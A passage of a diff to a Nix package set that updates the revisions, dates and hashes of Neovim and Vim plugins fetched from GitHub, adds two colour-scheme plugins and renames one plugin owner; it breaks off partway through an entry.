"pta2002"; repo = "intellitab.nvim"; - rev = "a6c1a505865f6131866d609c52440306e9914b16"; - sha256 = "19my464jsji7cb81h0agflzb0vmmb3f5kapv0wwhpdddcfzvp4fg"; + rev = "31f914282e342c886243edb22dcfc82ffe6b7528"; + sha256 = "1gq1mvhwdmjmsc4dypigy7qaj1yyi4zn7faws8l8kvqm6k3ff057"; }; meta.homepage = "https://github.com/pta2002/intellitab.nvim/"; }; @@ -4619,12 +4823,12 @@ final: prev: investigate-vim = buildVimPlugin { pname = "investigate.vim"; - version = "2024-01-04"; + version = "2024-02-26"; src = fetchFromGitHub { owner = "keith"; repo = "investigate.vim"; - rev = "f835b2c9f3d4770576c760830a08f957d5e94717"; - sha256 = "1x5m74azdrvpsllbg7nkaqbib4ncqn3lja38lqfanydv1jfjylwg"; + rev = "8bdeab0898681e98f3cadd4234e5e902b35f315a"; + sha256 = "1qlip4xxpnqkqk50f33zws5xn0d33iryxihaq5yq46i2xyzjcnk7"; }; meta.homepage = "https://github.com/keith/investigate.vim/"; }; @@ -4776,12 +4980,12 @@ final: prev: kanagawa-nvim = buildVimPlugin { pname = "kanagawa.nvim"; - version = "2023-10-02"; + version = "2024-02-28"; src = fetchFromGitHub { owner = "rebelot"; repo = "kanagawa.nvim"; - rev = "c19b9023842697ec92caf72cd3599f7dd7be4456"; - sha256 = "07wwz1z3am862igx6hkkyymvj2807a1a0y51324jvk27csidrcm5"; + rev = "bfa818c7bf6259152f1d89cf9fbfba3554c93695"; + sha256 = "0kjrk5j2jy19q9q684spc0xfgjs8xavjr9zd98idz13yz21yfakr"; }; meta.homepage = "https://github.com/rebelot/kanagawa.nvim/"; }; @@ -4812,12 +5016,12 @@ final: prev: knap = buildVimPlugin { pname = "knap"; - version = "2023-07-25"; + version = "2024-02-25"; src = fetchFromGitHub { owner = "frabjous"; repo = "knap"; - rev = "503010f541696e99ed5c62f658620e546cebf8b0"; - sha256 = "1aqfy1c4h95p94npdvyd7dhkr19f4qbnmr05sg1wbvqd9lfkslym"; + rev = "d4ea571d2d4e139d288b758c5bab31788d30eea3"; + sha256 = "1yhbmbl4va312xayj1ah5gz3wss4h89mn8qigm9iadxrq339ppnw"; }; meta.homepage = "https://github.com/frabjous/knap/"; }; @@ -4884,12 +5088,12 @@ final: prev: lazy-lsp-nvim = buildVimPlugin { pname = "lazy-lsp.nvim"; - version = "2024-01-02"; + version = "2024-02-13"; src = fetchFromGitHub { owner = "dundalek"; repo = "lazy-lsp.nvim"; - rev = "fdfc7276bbbb884913d04e09bdf7d88e131b603f"; - sha256 = "11mzy5292iiikpxa35gs6dip408xma84cjkpis6dqzdih0rkmwxv"; + rev = "cdfeaf4f6c1714990180453723921002374a30de"; + sha256 = "12y750mwy5awndapvsjsxqk77samyvjsb156fc8ggpwmd067jlq8"; }; meta.homepage = "https://github.com/dundalek/lazy-lsp.nvim/"; }; @@ -4908,24 +5112,24 @@ final: prev: lazygit-nvim = buildVimPlugin { pname = "lazygit.nvim"; - version = "2023-12-15"; + version = "2024-03-01"; src = fetchFromGitHub { owner = "kdheepak"; repo = "lazygit.nvim"; - rev = "1e08e3f5ac1152339690140e61a4a32b3bdc7de5"; - sha256 = "1rs3sva578j28hy6881w2wjxixl7g7rirard0fljxz460wfnr0vx"; + rev = "774dcecbd0b9b57be6c150adacb60ced79b11b23"; + sha256 = "1igxh03ryxa86h9qh4fgnxqfmys61fmagclm8yryr0bwdk78mjk7"; }; meta.homepage = "https://github.com/kdheepak/lazygit.nvim/"; }; lean-nvim = buildVimPlugin { pname = "lean.nvim"; - version = "2024-01-20"; + version = "2024-02-25"; src = fetchFromGitHub { owner = "Julian"; repo = "lean.nvim"; - rev = "4dff4c9d40678d895c8fe8a19b7ad98a196d0921"; - sha256 = "1rl8bsnpi095njj23ihhihky0r5nagcffc5d3drhv7q74jj3bz0x"; + rev = "fbc0dc43643497587dac79f666565111ec71f7f8"; + sha256 = "17fvhls0d9apk2wxjj1k8jvy1cvgwqifigzj7rabqq03ayhzv59m"; }; meta.homepage = "https://github.com/Julian/lean.nvim/"; }; @@ -4956,24 +5160,24 @@ final: prev: leap-nvim = buildVimPlugin { pname = "leap.nvim"; - version = "2024-01-20"; + version = "2024-02-29"; src = fetchFromGitHub { owner = "ggandor"; repo = "leap.nvim"; - rev = "82f4ae91e8c3a192292d9ffeccbb15f71b57bf2e"; - sha256 = "0lad6zzdws9gjd6lqj0339vc958i488jyiwp98yhmdjg29pfb4mq"; + rev = "d74388c49da2ef51bcae0f386f1c699c8394ce6e"; + sha256 = "0yl1980bcdvdlqgaxa9h6y5skrdhv0hcxday4rlgvj8nj6swbha6"; }; meta.homepage = "https://github.com/ggandor/leap.nvim/"; }; legendary-nvim = buildVimPlugin { pname = "legendary.nvim"; - version = "2023-10-23"; + version = "2024-02-02"; src = fetchFromGitHub { owner = "mrjones2014"; repo = "legendary.nvim"; - rev = "234e2ef8dec65db153c63a8b310c74155bb93ee7"; - sha256 = "051m8h7600f88ljn6m4mp49xi3pgh2ak8h01bb7gqk1lkq47d7ah"; + rev = "8277e7ffbde3d32cc582e81b5d109f4071bbbc4b"; + sha256 = "1frbi1wvhmhgr4cvlxh419fjww98h8b0h1zpcbjbvbv17iakchj9"; }; meta.homepage = "https://github.com/mrjones2014/legendary.nvim/"; }; @@ -5028,24 +5232,24 @@ final: prev: lh-brackets = buildVimPlugin { pname = "lh-brackets"; - version = "2023-05-16"; + version = "2024-02-08"; src = fetchFromGitHub { owner = "LucHermitte"; repo = "lh-brackets"; - rev = "b0fac72b5fc7592fe52458e45b77ff86919db014"; - sha256 = "1mlmi0xiaq2dyblv3qx82ka5ka1nghnw99jqkwy4r3dm4rs1b4a5"; + rev = "4899ead266d99e0b9749b9e44f6a33ea83384a7d"; + sha256 = "0bg8p4g0v3y7sikcwb1g2n3kr4rcafskg1if6gh1xnr1g0czbckw"; }; meta.homepage = "https://github.com/LucHermitte/lh-brackets/"; }; lh-vim-lib = buildVimPlugin { pname = "lh-vim-lib"; - version = "2023-12-27"; + version = "2024-02-28"; src = fetchFromGitHub { owner = "LucHermitte"; repo = "lh-vim-lib"; - rev = "ec13cd3f042d35c87bddba6c727f5d98091ffe95"; - sha256 = "0c41cj9f2wc13sh3blby8mpmvqrq7qaz3kq1araxm2p1np4spql1"; + rev = "612538b5dede34e1b4e1a152b6b50516ef658ae5"; + sha256 = "05d2n4hq7xfsw88abbi3b60407rxaf04za85zainw2xr2gvw4zsa"; }; meta.homepage = "https://github.com/LucHermitte/lh-vim-lib/"; }; @@ -5268,12 +5472,12 @@ final: prev: lsp-overloads-nvim = buildVimPlugin { pname = "lsp-overloads.nvim"; - version = "2024-01-07"; + version = "2024-02-03"; src = fetchFromGitHub { owner = "Issafalcon"; repo = "lsp-overloads.nvim"; - rev = "5064093b8614663c2b9db1f6ce426f7c8cc89970"; - sha256 = "1pfjb14gvnp88jx12snrcxz1kf1zmn8dqqay5mnhhcbi8y19f452"; + rev = "6b023414d7a6264ce1880148f1a61cf10294546e"; + sha256 = "1svxn4kvhr666hcjfm3qii03wl2djxch52ffn7a2fggv7116vjnn"; }; meta.homepage = "https://github.com/Issafalcon/lsp-overloads.nvim/"; }; @@ -5304,12 +5508,12 @@ final: prev: lsp-zero-nvim = buildVimPlugin { pname = "lsp-zero.nvim"; - version = "2024-01-22"; + version = "2024-02-27"; src = fetchFromGitHub { owner = "VonHeikemen"; repo = "lsp-zero.nvim"; - rev = "c129311f4867675a52551b0a7ef12186308be00b"; - sha256 = "0j1cc55y61bx7mxmxgkdrjx89jbgzfvkhi7kja215gqc144rrd0i"; + rev = "009ace7a0ca360d9299ff7eb33364b5c16556561"; + sha256 = "0550ld8q8wwskf6s02azdz3q8s1j8vmdzwar1v72fdmawb97hchz"; }; meta.homepage = "https://github.com/VonHeikemen/lsp-zero.nvim/"; }; @@ -5375,24 +5579,24 @@ final: prev: lspsaga-nvim = buildVimPlugin { pname = "lspsaga.nvim"; - version = "2024-01-20"; + version = "2024-02-17"; src = fetchFromGitHub { owner = "nvimdev"; repo = "lspsaga.nvim"; - rev = "2198c07124bef27ef81335be511c8abfd75db933"; - sha256 = "03p433lw15km3gqf5p5jlw8xi1v8ifxr3byc5f7h692bgnn2983h"; + rev = "b1b140aa20a0cf353cd3e282870429b48b30a169"; + sha256 = "1psgxp5ynnbnks8337ralc0whw79d0l75n9q2sb62845dgs8i00f"; }; meta.homepage = "https://github.com/nvimdev/lspsaga.nvim/"; }; ltex_extra-nvim = buildVimPlugin { pname = "ltex_extra.nvim"; - version = "2023-07-28"; + version = "2024-02-03"; src = fetchFromGitHub { owner = "barreiroleo"; repo = "ltex_extra.nvim"; - rev = "9bed99b2b8488cc2daf66c76d2e0cf051ee80d13"; - sha256 = "1v4vxfysvisl9l91f519mbj4r7a43gzfyaj4cbgs3fc650h00f1g"; + rev = "42dd3572cb09b52a137e91e515f2dff5eb631b1e"; + sha256 = "1hirgy2w7lqn22qb20xkcxd7p1212wvra1xbyy43ky3an0bn6ivs"; }; meta.homepage = "https://github.com/barreiroleo/ltex_extra.nvim/"; }; @@ -5423,12 +5627,12 @@ final: prev: luasnip = buildNeovimPlugin { pname = "luasnip"; - version = "2024-01-17"; + version = "2024-02-15"; src = fetchFromGitHub { owner = "l3mon4d3"; repo = "luasnip"; - rev = "2dbef19461198630b3d7c39f414d09fb07d1fdd2"; - sha256 = "0mg2nn4r8124ki7vs659jla6494xgcq1k678xgdkzkyd0ja3vmhd"; + rev = "f3b3d3446bcbfa62d638b1903ff00a78b2b730a1"; + sha256 = "17q0z9jm9n3c4jj27xxd0nk3vflwnnwybkf47rxvpx95d3wkr0gi"; fetchSubmodules = true; }; meta.homepage = "https://github.com/l3mon4d3/luasnip/"; @@ -5484,12 +5688,12 @@ final: prev: mark-radar-nvim = buildVimPlugin { pname = "mark-radar.nvim"; - version = "2021-06-22"; + version = "2024-02-29"; src = fetchFromGitHub { owner = "winston0410"; repo = "mark-radar.nvim"; - rev = "d7fb84a670795a5b36b18a5b59afd1d3865cbec7"; - sha256 = "1y3l2c7h8czhw0b5m25iyjdyy0p4nqk4a3bxv583m72hn4ac8rz9"; + rev = "bf27e13ce18eb5f34d61d8ea7d91adccb24f2090"; + sha256 = "0ik2kyzlkc930fkbmw9x0mallpffgc7ym4v5rricamn43q07vgm2"; }; meta.homepage = "https://github.com/winston0410/mark-radar.nvim/"; }; @@ -5532,36 +5736,36 @@ final: prev: mason-lspconfig-nvim = buildVimPlugin { pname = "mason-lspconfig.nvim"; - version = "2024-01-24"; + version = "2024-02-22"; src = fetchFromGitHub { owner = "williamboman"; repo = "mason-lspconfig.nvim"; - rev = "b9084b1f42f790d6230dc66dbcb6bcc35b148552"; - sha256 = "0r8idwgaa2w1ijxkgav2p3bbmka8mm3cihnwljgqc6k5cydbyc6j"; + rev = "21d33d69a81f6351e5a5f49078b2e4f0075c8e73"; + sha256 = "1dxx7b5aadhws58dzxh7am0rcnzzzhfxbsnkcl5hp9d221wkvi3q"; }; meta.homepage = "https://github.com/williamboman/mason-lspconfig.nvim/"; }; mason-tool-installer-nvim = buildVimPlugin { pname = "mason-tool-installer.nvim"; - version = "2024-01-15"; + version = "2024-02-13"; src = fetchFromGitHub { owner = "WhoIsSethDaniel"; repo = "mason-tool-installer.nvim"; - rev = "bf0f4f8062d3acbe0afcc61db01a4d19d96310e4"; - sha256 = "1kawdvc1sk8drk2lkgj4zy3hbhbcyn9j6ahnzxwi7jlw9p3j3cmk"; + rev = "1212fb6082b7177dde17ea65e429e027835aeb40"; + sha256 = "0zrdpdqklmk1f9gsim209x28h4qisf1hljmwq2imc4lzpwca39kc"; }; meta.homepage = "https://github.com/WhoIsSethDaniel/mason-tool-installer.nvim/"; }; mason-nvim = buildVimPlugin { pname = "mason.nvim"; - version = "2024-01-22"; + version = "2024-02-25"; src = fetchFromGitHub { owner = "williamboman"; repo = "mason.nvim"; - rev = "9c9416817c9f4e6f333c749327a1ed5355cfab61"; - sha256 = "146p31z37kixchad2rrdndx6wmnfb354i34qhwwjc6xg5jqc1x9i"; + rev = "3b5068f0fc565f337d67a2d315d935f574848ee7"; + sha256 = "0jysblrni94541gr649q0rdzlfaa1mc7nvzx7rndcq5fr14mzk42"; }; meta.homepage = "https://github.com/williamboman/mason.nvim/"; }; @@ -5580,12 +5784,12 @@ final: prev: material-nvim = buildVimPlugin { pname = "material.nvim"; - version = "2024-01-22"; + version = "2024-02-11"; src = fetchFromGitHub { owner = "marko-cerovac"; repo = "material.nvim"; - rev = "7cf05c682044a528510cc41135d83f52e4356f15"; - sha256 = "1y7906y3c88sxcy4fccjvigy5vmxxllr45c6kg8w55404jaavhvi"; + rev = "1804e517ceb0fce958a9fabaa94c9a6e09d54b8f"; + sha256 = "1x4cqwy9anirl8y4lby1rdnxblypi256qdpcdd8wccfk6jsvd74r"; }; meta.homepage = "https://github.com/marko-cerovac/material.nvim/"; }; @@ -5628,36 +5832,60 @@ final: prev: melange-nvim = buildVimPlugin { pname = "melange-nvim"; - version = "2023-10-23"; + version = "2024-02-14"; src = fetchFromGitHub { owner = "savq"; repo = "melange-nvim"; - rev = "ca3444c8e5002ee5ab6f077660317f869c7b6a36"; - sha256 = "104lc4kfx5jr6fd684vx1bps7ifbqfx6iyi3nbczbhycw0wfw4r4"; + rev = "ec15b091304580f1d37e711c3a54bc828b09e255"; + sha256 = "1240s01m9mayjgqr0py3zwmbnvq06wzpm3pwdjmy3mj6kkaxxccp"; }; meta.homepage = "https://github.com/savq/melange-nvim/"; }; + miasma-nvim = buildVimPlugin { + pname = "miasma.nvim"; + version = "2023-10-24"; + src = fetchFromGitHub { + owner = "xero"; + repo = "miasma.nvim"; + rev = "c672feec07d4e77ac485ee58e3432a96ebe51953"; + sha256 = "187d35g6s53rs7zi3p8c4d8sy23qdpzy22i2vmr8apzgc2hirvx7"; + }; + meta.homepage = "https://github.com/xero/miasma.nvim/"; + }; + + midnight-nvim = buildVimPlugin { + pname = "midnight.nvim"; + version = "2024-02-24"; + src = fetchFromGitHub { + owner = "dasupradyumna"; + repo = "midnight.nvim"; + rev = "b5a1dd02a3c2ddc56de8466da45895b19981584a"; + sha256 = "1ajpkw12ff7xhzl3axl5y3q13zsrjm24mydwr166x3lba6ccqif2"; + }; + meta.homepage = "https://github.com/dasupradyumna/midnight.nvim/"; + }; + mind-nvim = buildVimPlugin { pname = "mind.nvim"; version = "2023-03-22"; src = fetchFromGitHub { - owner = "phaazon"; + owner = "hadronized"; repo = "mind.nvim"; rev = "002137dd7cf97865ebd01b6a260209d2daf2da66"; sha256 = "1p7gb8p1jrb2wx3x67lv7am3k1a14kvwsq89fdpb8b060s2l1214"; }; - meta.homepage = "https://github.com/phaazon/mind.nvim/"; + meta.homepage = "https://github.com/hadronized/mind.nvim/"; }; mini-nvim = buildVimPlugin { pname = "mini.nvim"; - version = "2024-01-23"; + version = "2024-02-29"; src = fetchFromGitHub { owner = "echasnovski"; repo = "mini.nvim"; - rev = "1cd8d7e8318071eddc536815f5cafe50b012ac29"; - sha256 = "03gpcx09a53w73bf4kyhk5xa764bxcaaymwrnw1jr0yqinyz7j62"; + rev = "f24747266a047617d06605a2316aa6c071662fa2"; + sha256 = "1f10jzypias9cji4y7bvl095b5qs9i4i5gi2khhk1nbqkpqyyala"; }; meta.homepage = "https://github.com/echasnovski/mini.nvim/"; }; @@ -5688,12 +5916,12 @@ final: prev: mkdnflow-nvim = buildVimPlugin { pname = "mkdnflow.nvim"; - version = "2023-12-26"; + version = "2024-02-08"; src = fetchFromGitHub { owner = "jakewvincent"; repo = "mkdnflow.nvim"; - rev = "7b2fc47d6a3ae3b19ebc5a7eea00ea1e712f20d1"; - sha256 = "010gh0qdqqx53fpxjhfn3w0r5kkdw4h27vl6zbrvw4n0ilqlg9n2"; + rev = "1b24b8b5fe10fe09af4572c0165293e0dcd998aa"; + sha256 = "04bsnj8v1wwkq92dlgk1jn8sx964zawcc7im858r4jxczycg8kj8"; }; meta.homepage = "https://github.com/jakewvincent/mkdnflow.nvim/"; }; @@ -5712,12 +5940,12 @@ final: prev: modicator-nvim = buildVimPlugin { pname = "modicator.nvim"; - version = "2024-01-25"; + version = "2024-02-10"; src = fetchFromGitHub { owner = "mawkler"; repo = "modicator.nvim"; - rev = "81f0e320d63e2bb59219b9de8dc244e856412020"; - sha256 = "18dkiksnnrxhzisarrxzza3lyankw6h3zf1dvzcb6rbbmn946bz5"; + rev = "d35bb7c3a93e311c784cb439ca26209181c0815e"; + sha256 = "0dg7q1x2mzkhlvrbr26zcqih81b5wzb9wvh5zm0iw099pgf2fq37"; }; meta.homepage = "https://github.com/mawkler/modicator.nvim/"; }; @@ -5748,24 +5976,24 @@ final: prev: molten-nvim = buildVimPlugin { pname = "molten-nvim"; - version = "2024-01-20"; + version = "2024-02-23"; src = fetchFromGitHub { owner = "benlubas"; repo = "molten-nvim"; - rev = "4a3980f74742ac6f151cc00e444e74fc02b799a2"; - sha256 = "081x575151glxz0lfpif3msdzx0wjr9730rwj4ynkavjj5fcx9s3"; + rev = "8346bba69e0de96278dad2038e9be74605908b7d"; + sha256 = "08f3zxzka43f87fks56594476h57yq01x7a1zdsn4acc278xg1nb"; }; meta.homepage = "https://github.com/benlubas/molten-nvim/"; }; monokai-pro-nvim = buildVimPlugin { pname = "monokai-pro.nvim"; - version = "2024-01-23"; + version = "2024-02-11"; src = fetchFromGitHub { owner = "loctvl842"; repo = "monokai-pro.nvim"; - rev = "c2fe71f5b47ff5042053dc74cf8a849d662f2275"; - sha256 = "00p0y008w07c5yd3aqczxiidl0x269fsblg3lnjd4xxshjhpdsp9"; + rev = "1b9b086df95ad9a6b946c56f65fa2d048297c00b"; + sha256 = "14iks0rcnr695lv39i85ysfh4752y5x56mcr5dl9np5sk7820v3p"; }; meta.homepage = "https://github.com/loctvl842/monokai-pro.nvim/"; }; @@ -5796,12 +6024,12 @@ final: prev: multicursors-nvim = buildVimPlugin { pname = "multicursors.nvim"; - version = "2023-11-27"; + version = "2024-02-21"; src = fetchFromGitHub { owner = "smoka7"; repo = "multicursors.nvim"; - rev = "8e876fe9db46c1b76c151202b418df21eca07bad"; - sha256 = "0jva5l38ikzgy0nw2il6yfpm9z7ibi99ijfqnwcy7zq9kryysnmy"; + rev = "8b3e14682eed06a532b155c7eae33e174846b3fd"; + sha256 = "02ar7m9g92lg7rhz7l1vm2sn8c353wk1rvl32wdbqsbi70ac8pi7"; }; meta.homepage = "https://github.com/smoka7/multicursors.nvim/"; }; @@ -6060,12 +6288,12 @@ final: prev: neo-tree-nvim = buildVimPlugin { pname = "neo-tree.nvim"; - version = "2024-01-21"; + version = "2024-02-25"; src = fetchFromGitHub { owner = "nvim-neo-tree"; repo = "neo-tree.nvim"; - rev = "e578fe7a5832421b0d2c5b3c0a7a1e40e0f6a47a"; - sha256 = "0s0j67zv6hzj4fsa7kp5rkbbgcvx7n7hf7vx14v8lwaz139lml5w"; + rev = "459c60317cc1d251f6eb3b6f010d015d5d24b806"; + sha256 = "0ynfilsp93gl9f89js30jk9h8bh21v19snl4f1x80b7wrr64agak"; }; meta.homepage = "https://github.com/nvim-neo-tree/neo-tree.nvim/"; }; @@ -6084,26 +6312,26 @@ final: prev: neoconf-nvim = buildVimPlugin { pname = "neoconf.nvim"; - version = "2024-01-22"; + version = "2024-03-01"; src = fetchFromGitHub { owner = "folke"; repo = "neoconf.nvim"; - rev = "cfc29315288515849aa54c05828d49f01f033b66"; - sha256 = "0h642cscysznr4rxzch4kq99l7f2kgdxyiibws844w1wsail1zqx"; + rev = "2feab3abaa2c00dc21f490619f5c0f4ccf0ba495"; + sha256 = "1197rs8mpq77x54h2r8m385gdpxd5liql3dwivqk89cica0av8db"; }; meta.homepage = "https://github.com/folke/neoconf.nvim/"; }; neocord = buildVimPlugin { pname = "neocord"; - version = "2024-02-10"; + version = "2024-02-28"; src = fetchFromGitHub { owner = "IogaMaster"; repo = "neocord"; - rev = "d5f51d466644fe3c62eda4c41e373ecdc299a367"; - sha256 = "1gv7lkqgiljgazzm0r5nbnvj3rj0l376bcz3hf2d881h4xi2lq3l"; + rev = "fe83e48ad6f5fa7f70c93b47694c36d0d7deff04"; + sha256 = "19za72v7mq526lpd3a9b6pmxh983ih804q0illmsl07a3wm9gnad"; }; - meta.homepage = "https://github.com/IogaMaster/neocord"; + meta.homepage = "https://github.com/IogaMaster/neocord/"; }; neodark-vim = buildVimPlugin { @@ -6120,24 +6348,24 @@ final: prev: neodev-nvim = buildVimPlugin { pname = "neodev.nvim"; - version = "2024-01-25"; + version = "2024-02-28"; src = fetchFromGitHub { owner = "folke"; repo = "neodev.nvim"; - rev = "3408a4daeca5ff8f41cb2c668b6d8fcc665f793a"; - sha256 = "18rgw2jlwyyc586ajrrkhgj6ddnz784ijjxjk73007icdsychyh6"; + rev = "84e0290f5600e8b89c0dfcafc864f45496a53400"; + sha256 = "0lcfk5zdcdqpd2d6whzbzafp6nh1y422nbaa2ap6kk41nlcm68jp"; }; meta.homepage = "https://github.com/folke/neodev.nvim/"; }; neoformat = buildVimPlugin { pname = "neoformat"; - version = "2024-01-10"; + version = "2024-02-03"; src = fetchFromGitHub { owner = "sbdchd"; repo = "neoformat"; - rev = "209b56a00fc0206d81db768b121b94d0daf48b64"; - sha256 = "1ii10q91l78c1hbmz0p0jv7vqpgz69rbklznzckrbia8mqz416yk"; + rev = "b8e0baf965d2fbb173aabe3d847538744c0e321b"; + sha256 = "1b9xrh8zp2x05pyn0rrfzx1db9hv98737zn910fm36arbhr5flvq"; }; meta.homepage = "https://github.com/sbdchd/neoformat/"; }; @@ -6156,12 +6384,12 @@ final: prev: neogit = buildVimPlugin { pname = "neogit"; - version = "2024-01-22"; + version = "2024-02-23"; src = fetchFromGitHub { owner = "NeogitOrg"; repo = "neogit"; - rev = "ce0c369ccdba3f644a3b28f4c053421f435352c9"; - sha256 = "0zvs6ygghz786fs436pladaml57mfb28lfx0xciwdrxfcd25rmf0"; + rev = "0d0879b0045fb213c328126969a3317c0963d34a"; + sha256 = "1nflx2kk2q0kwwxafbvdfa92pn4vzvynr4jqd5jni9h7n5xvg9dl"; }; meta.homepage = "https://github.com/NeogitOrg/neogit/"; }; @@ -6228,36 +6456,36 @@ final: prev: neorg = buildVimPlugin { pname = "neorg"; - version = "2024-01-21"; + version = "2024-02-26"; src = fetchFromGitHub { owner = "nvim-neorg"; repo = "neorg"; - rev = "28cbafbc0cde316d8e2618ff26377200225e9393"; - sha256 = "1z1ir56mlwaay20x7yqdhkrj2nl39xhd63maims68jam59l55lq9"; + rev = "a4072328c089725c7a53f586884384133d68c0ed"; + sha256 = "0p981gv1f5gggxi2dkxlp5wz73mb9pf6ws4icf4phg2k22yha7ww"; }; meta.homepage = "https://github.com/nvim-neorg/neorg/"; }; neorg-telescope = buildVimPlugin { pname = "neorg-telescope"; - version = "2023-11-12"; + version = "2024-02-10"; src = fetchFromGitHub { owner = "nvim-neorg"; repo = "neorg-telescope"; - rev = "6a7a677c40fa3c348924a4e2a06a513e0b34c056"; - sha256 = "05m64vwi55kzknz9za0izc9hs1djc46467d7d8ijx3268sw3l0x6"; + rev = "418f8fd4bd7360d954613a2322b4eb2888ac3ad9"; + sha256 = "0r09xwvzb2ma25ngfiilwd9i6ci2llkv98scdzjkq5z96m1h6vnx"; }; meta.homepage = "https://github.com/nvim-neorg/neorg-telescope/"; }; neoscroll-nvim = buildVimPlugin { pname = "neoscroll.nvim"; - version = "2023-12-08"; + version = "2024-02-04"; src = fetchFromGitHub { owner = "karb94"; repo = "neoscroll.nvim"; - rev = "be4ebf855a52f71ca4338694a5696675d807eff9"; - sha256 = "1yqh9ig3w8kyzksv8sv7xsc2rk2l637q54g4wv8zqwz226cw56ws"; + rev = "6e3546751076890304428150e53bd59198a4505d"; + sha256 = "1hm93lzg9mgpcm871gln6dq864mm2llaypcm0415gyvpqy2fmr3n"; }; meta.homepage = "https://github.com/karb94/neoscroll.nvim/"; }; @@ -6300,24 +6528,24 @@ final: prev: neotest = buildVimPlugin { pname = "neotest"; - version = "2024-01-25"; + version = "2024-02-27"; src = fetchFromGitHub { owner = "nvim-neotest"; repo = "neotest"; - rev = "73043d666780e35185a77589e01bec96a52db910"; - sha256 = "1aj4zrp21h7h77sw70l2g3spkgzl5vb24vv2halrfrqms7jfaaqf"; + rev = "4440cc2227894c2ae9b0673a30e6cc6f1836e8c2"; + sha256 = "1pq9zjcnihah6nlz2zhkb1shv5x0k3dcdxfmc1v4sq13i6yj16c4"; }; meta.homepage = "https://github.com/nvim-neotest/neotest/"; }; neotest-dart = buildVimPlugin { pname = "neotest-dart"; - version = "2024-01-10"; + version = "2024-02-28"; src = fetchFromGitHub { owner = "sidlatau"; repo = "neotest-dart"; - rev = "b776e86c08b1cfd23fd49c337214d9ea67bb6ccc"; - sha256 = "0x30v0dfi7d1940ga0qnbn9sidy0x6wy58lbvnpb3v1ig24p435y"; + rev = "33b9335cd8c2be4dcf9dd8f196b24325e7c2e8e7"; + sha256 = "1g3xa33p2n5j3w1rpc8zf0dl7wkwnai2f9fs8dr8xanqp22vpl3i"; }; meta.homepage = "https://github.com/sidlatau/neotest-dart/"; }; @@ -6336,12 +6564,12 @@ final: prev: neotest-dotnet = buildVimPlugin { pname = "neotest-dotnet"; - version = "2023-12-22"; + version = "2024-02-22"; src = fetchFromGitHub { owner = "Issafalcon"; repo = "neotest-dotnet"; - rev = "1532f6123207dcfe36263e7f3182609f68588da8"; - sha256 = "06jvpsw21gryy4vzv6ag2zradm71v7lrzvkhhhpljyvc482yvflg"; + rev = "c19df2a139d88c5b4130b830d2cbe63a2c6c6c0c"; + sha256 = "1bb9dv6g7x793hgbg20lf8igjym2ixcxk8ymrrhlcn0489sx79rb"; }; meta.homepage = "https://github.com/Issafalcon/neotest-dotnet/"; }; @@ -6361,60 +6589,60 @@ final: prev: neotest-go = buildVimPlugin { pname = "neotest-go"; - version = "2023-11-30"; + version = "2024-02-24"; src = fetchFromGitHub { owner = "nvim-neotest"; repo = "neotest-go"; - rev = "d29d20d912aca81a07c50022d880cc66f0d26542"; - sha256 = "0dhmkh2k18klhlv3cpjsi23ym0isrsf59dr0da2m9528pjzf1qi6"; + rev = "6a2f996d89fe4631942e035b1c114544ee045043"; + sha256 = "1jnsgkmsm2jmjd5zhkf3dhrbc04ysz3n0n28frsbvh839n3cdm7f"; }; meta.homepage = "https://github.com/nvim-neotest/neotest-go/"; }; neotest-haskell = buildVimPlugin { pname = "neotest-haskell"; - version = "2024-01-15"; + version = "2024-02-05"; src = fetchFromGitHub { owner = "MrcJkb"; repo = "neotest-haskell"; - rev = "25c5d7c8619abe9dece137aacf2abe9d38995fad"; - sha256 = "06xpqvrxx9n2yn0mrbk90mhwhn42gbbwl7n73g5dn5y1krkk50hn"; + rev = "02852878c8d1e9f3cc61ea2d6592335d4cf6a54a"; + sha256 = "0967yv47gld3gy3nh1fxqxqnfjjaajqnil42z7pwz7bkxgs63hib"; }; meta.homepage = "https://github.com/MrcJkb/neotest-haskell/"; }; neotest-jest = buildVimPlugin { pname = "neotest-jest"; - version = "2023-12-17"; + version = "2024-02-19"; src = fetchFromGitHub { owner = "nvim-neotest"; repo = "neotest-jest"; - rev = "a394106cf053eef86d65ae04c4b93a1a7bd60aef"; - sha256 = "0vgb4lvi1cvdjqwljdrzgvpm772jj9cj44s1hms58iwl35rg17wq"; + rev = "959d45b133de938c79e3f064db188680eaf69055"; + sha256 = "12mkqbz5qg59nc3lqn5sl7dyi5631xpish8i4c5xaaxn3k5b9pss"; }; meta.homepage = "https://github.com/nvim-neotest/neotest-jest/"; }; neotest-pest = buildVimPlugin { pname = "neotest-pest"; - version = "2022-11-24"; + version = "2024-02-16"; src = fetchFromGitHub { owner = "theutz"; repo = "neotest-pest"; - rev = "a50582719267a847c84e1564e97c698d994f883c"; - sha256 = "00scdxkqkfsdq6sn1a7cdcrqpdi8bzi5z2qjqlysp6njilbd1jws"; + rev = "94ed941af4ea6e7d0caa4de8afbf966f3cfe35e4"; + sha256 = "1655rpr007ix9z4nxkabnvdk8c0kj080waxddaq656dhdzdj7l1q"; }; meta.homepage = "https://github.com/theutz/neotest-pest/"; }; neotest-phpunit = buildVimPlugin { pname = "neotest-phpunit"; - version = "2023-12-28"; + version = "2024-02-24"; src = fetchFromGitHub { owner = "olimorris"; repo = "neotest-phpunit"; - rev = "c0f398a239b24a5960ab6f76094bd535866451da"; - sha256 = "0f97fr27yvvykyzvpv07azsaa1ik5aci5vn6xk48xzy74ha1njr1"; + rev = "2f01e83eedbcf6f0257934b32b5d4fda404a9f11"; + sha256 = "0yqi7n6ljr3drgng9yj7im6x35fjb9ap5p0svv1n7lwcbnnbywai"; }; meta.homepage = "https://github.com/olimorris/neotest-phpunit/"; }; @@ -6445,24 +6673,24 @@ final: prev: neotest-rspec = buildVimPlugin { pname = "neotest-rspec"; - version = "2023-11-02"; + version = "2024-02-29"; src = fetchFromGitHub { owner = "olimorris"; repo = "neotest-rspec"; - rev = "8630acad9e84b8267646bc8712a4365af7a12f2b"; - sha256 = "13s3im555wz66z1hmmn8zlpy6vsry0xi87yxfm7hjpfcb56lqncc"; + rev = "0d73fe6de6baf951f6b95f55a4770429b9d58953"; + sha256 = "0fspih2j2xmjczkg0ka7y87mwrd1x6f6chx5b34b646bqjabwfjc"; }; meta.homepage = "https://github.com/olimorris/neotest-rspec/"; }; neotest-rust = buildVimPlugin { pname = "neotest-rust"; - version = "2024-01-25"; + version = "2024-02-28"; src = fetchFromGitHub { owner = "rouge8"; repo = "neotest-rust"; - rev = "d945ccc5041ff02b86313cc5d02affd39f8e1c3f"; - sha256 = 